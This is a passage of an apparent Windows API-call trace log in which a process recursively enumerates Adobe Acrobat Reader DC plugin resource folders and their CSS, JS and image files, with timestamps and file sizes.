ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.101] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.101] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x645, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0250.101] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1014, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0250.101] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1014, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0250.101] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.101] GetProcessHeap () returned 0xc10000 [0250.101] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0250.101] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0250.101] GetProcessHeap () returned 0xc10000 [0250.102] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0250.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files-select\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0250.102] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.102] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe371, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0250.102] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xebe, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0250.102] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xebe, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0250.102] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0250.103] GetProcessHeap () returned 0xc10000 [0250.103] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0250.103] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0250.103] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0250.103] GetProcessHeap () returned 0xc10000 [0250.103] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0250.103] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="digsig", cAlternateFileName="")) returned 1 [0250.103] GetProcessHeap () returned 0xc10000 [0250.103] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0250.104] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0250.114] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.114] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0250.114] GetProcessHeap () returned 0xc10000 [0250.114] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0250.114] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0250.115] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.115] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x68c7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0250.115] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x68c7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0250.115] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0250.116] GetProcessHeap () returned 0xc10000 [0250.116] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0250.116] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0250.116] GetProcessHeap () returned 0xc10000 [0250.116] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0250.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0250.117] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.117] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2cd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="digsig_icons.png", cAlternateFileName="DIGSIG~2.PNG")) returned 1 [0250.117] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6255, dwReserved0=0x0, dwReserved1=0x0, cFileName="digsig_icons_2x.png", cAlternateFileName="DIGSIG~1.PNG")) returned 1 [0250.117] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0250.117] GetProcessHeap () returned 0xc10000 [0250.117] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0250.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0250.119] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.120] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0250.120] GetProcessHeap () returned 0xc10000 [0250.120] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.120] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.121] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.121] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="digsig_icons.png", cAlternateFileName="DIGSIG~2.PNG")) returned 1 [0250.121] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x555e, dwReserved0=0x0, dwReserved1=0x0, cFileName="digsig_icons_2x.png", cAlternateFileName="DIGSIG~1.PNG")) returned 1 [0250.121] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x555e, dwReserved0=0x0, dwReserved1=0x0, cFileName="digsig_icons_2x.png", cAlternateFileName="DIGSIG~1.PNG")) returned 0 [0250.121] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.122] GetProcessHeap () returned 0xc10000 [0250.122] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.122] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0250.122] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0250.122] GetProcessHeap () returned 0xc10000 [0250.122] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0250.122] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0250.122] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0250.123] GetProcessHeap () returned 0xc10000 [0250.123] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0250.123] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0250.123] GetProcessHeap () returned 0xc10000 [0250.123] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0250.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0250.124] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.125] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0250.125] GetProcessHeap () returned 0xc10000 [0250.125] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0250.125] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\*", 